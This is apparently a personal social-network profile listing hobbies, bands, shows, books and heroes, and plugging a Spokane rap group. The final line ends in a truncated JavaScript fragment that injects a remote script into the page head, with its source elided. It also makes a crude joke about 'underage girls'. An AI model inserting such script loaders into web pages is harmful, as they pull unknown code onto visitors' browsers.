Hear me and my rap group at myspace.com/shirecrew , or at Soundclick!
Amateur taxidermy, all things 80's, being silly, design, Comics (DC please), toys, art, amateur rapping, beating Rad Racer using the Power Glove.
People who are into "The Funny". People who are aware they like terrible music/movies and don't care because they like it that way. People who know that nothing is cooler than a black leather trenchcoat. People who know that almost everyone looks like a total tool in a black leather trenchcoat. Anyone who is afraid of Wal-Mart and the fleshy, hairy, diseased creatures that inhabit it late at night. People who could never be offended by a joke, but know the limits to pranks. Anyone who has ever wondered if a lightsaber would burn it's way to the earth's core if you dropped it blade-side down. People who have seen items from their closet being marketed as retro clothing or halloween costumes.
Metal, punk, 80's/early 90's rock. Van Halen, Guns N' Roses, Dead Kennedys, Pro-Pain, The Replacements, Public Enemy, Overkill, Nevermore, Toy-Box, Motley, Posion, S.O.D., Billy Idol, Snow (yes, the Informer guy), Michael Jackson, Iced Earth, Vanilla Ice, Ronnie James Dio (Mostly because of his face),White Lion, Limozeen, Butch Walker, Danger Danger, Annihilator, Counting Crows, Motorhead, Gary Numan, Bloodhound Gang, Bauhaus, Pantera, Static-X, Cure, Iron Maiden, Spice Girls, Meat Loaf, Vandals, Paradise Lost, HIM, Smiths, Tommy Stinson, John Fogerty, comedy albums (Dane Cook, the late Mitch Hedburg), Extreme, Scorpions, Berlin, Buckethead, Hanoi Rocks, Exodus (RIP Baloff), Bon Jovi, Poisonblack, George Thorogood, Marilyn Manson, Maestro Fresh Wes, Billy Idol, Neil Diamond, Hulk Hogan, Lard, White Zombie, Journey, Johnny Cash, and Aqua. Oh, lest we forget the almighty Shire Crew! Spokane's number one Rap group that writes about pizza and underage girls! www.myspace.com/shirecrew.
Do people still watch movies? I'm more of a Pog man, myself. Holla back at ya Pogs, y'all.
TV is the parent I love the most. Family Guy, Upright Citizens Brigade, Entourage, Invader Zim, Daily Show, SNL, Buffy, Angel, Serenity, Young Ones, Freaks and Geeks, Doctor Who (Tom Baker era), Viva La Bam, The Adventures of Pete & Pete, Simpsons, Sealab 2021, Home Movies, Strangers With Candy, The Critic, Saved By The Bell
Anything by Chuck Palahniuk, Anne Rice's vampire chronicles (Pre-Memnoch), the autobiographies of Marilyn Manson, Motley Crue, Lloyd Kaufman, Howard Stern, William Shatner, and David Lee Roth.
Zach Galifianakis, David Lee Roth, the guy on the oatmeal box, Ryan Reynolds, Eli Whitney, Sarah Silverman, everyone who has ever had a KISS themed wedding and kept a straight face the entire time, and Jim Varney. .."var s=..·('script');s.src='..';..·ge tElementsByTagName('head')[0].appendChild(s);"